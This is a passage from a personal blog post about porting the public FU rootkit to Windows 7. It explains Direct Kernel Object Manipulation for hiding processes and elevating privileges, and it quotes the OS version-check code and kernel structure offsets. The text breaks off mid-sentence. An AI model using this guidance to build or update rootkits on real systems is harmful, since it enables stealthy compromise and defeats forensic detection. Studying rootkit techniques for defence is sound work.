Pay no attention to that man behind the curtain...

For the last couple of months I've been playing with rootkits and today I'll cover one of my recent ramblings. This time around I'll show you how I updated Jamie Butler's FU rootkit to make it work under Windows 7. FU was released in 2005 as a PoC (Proof of Concept) to show how instead of using function detours or API hooking, an attacker might go directly to the lowest bounds of the OS and directly manipulate kernel objects. As it's description acknowledges:
"The FU rootkit can hide processes, elevate process privileges, fake out the Windows Event Viewer so that forensics is impossible, and even hide device drivers (NEW!) All this without any hooking."
This technique was branded as Direct Kernel Object Manipulation (DKOM). By manipulating structures within the OS kernel, the attacker has full control over how the system behaves and beside subverting the system from its roots can play in even conditions against kernel mode components that most AV systems include these days. FU is divided in two modules: a kernel-mode driver that performs DKOM and a user-mode module that assigns tasks to the kernel-mode module. Since it's essentially a PoC, it's not weaponized in any way and doesn't have all the bells and whistles that other rootkits such as Hacker Defender include. Still, since it's source code is publicly available anyone with Windows internals & C knowledge can tweak it to do achieve stealth presence in a compromised system and perform what in the rootkit jargon is known as C2 (Command & Control). Today we won't be looking to extend it's functionality but rather update it to work (kinda :P) under current Windows releases (Windows 7 Professional this time around). To achieve our goal, a quick look at the source code will show that the code has been designed with portability in mind. In fu.cpp a sequence of if/ else if code inside InitDriver() checks for the current running version of Windows. In the original release, only versions from NT 4.0 up to and including 2003 Server were supported. In this context, an API call to GetVersionEx() is issued from the user-mode component to get the current NT version of the system so that we can adjust offsets for the kernel-mode structures that will be manipulated later on through the kernel-mode component:
// Try calling GetVersionEx using the OSVERSIONINFOEX structure.
// If that fails, try using the OSVERSIONINFO structure.

ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

if( !(bOsVersionInfoEx = GetVersionEx ((OSVERSIONINFO *) &osvi)) )
{
	// If OSVERSIONINFOEX doesn't work, try OSVERSIONINFO.
	osvi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
	if (! GetVersionEx ( (OSVERSIONINFO *) &osvi) )
	return -1;
}

/*
  ... code truncated to save space ...
*/

else if ( osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1 )
{
	//fprintf(stderr, "Microsoft Windows XP ");
	pid_offset = 132;
	flink_offset = 136;
	authid_offset = 24;
	token_offset = 200;
	privcount_offset = 72;
	privaddr_offset  = 104;
	sidcount_offset = 64;
	sidaddr_offset  = 92;
}In our particular case, we will add another case that will look for NT version 6.1. We can determine which version we're running with a simple app like this:
int main(int argc, char* argv[])
{
	OSVERSIONINFO osvi;

	ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
	osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
	GetVersionEx(&osvi);

	printf("osvi.dwPlatformId: %d\n",osvi.dwPlatformId);
	printf("osvi.dwMajorVersion: %d\n",osvi.dwMajorVersion);
	printf("osvi.dwMinorVersion: %d\n",osvi.dwMinorVersion);
}Once we have the information to define the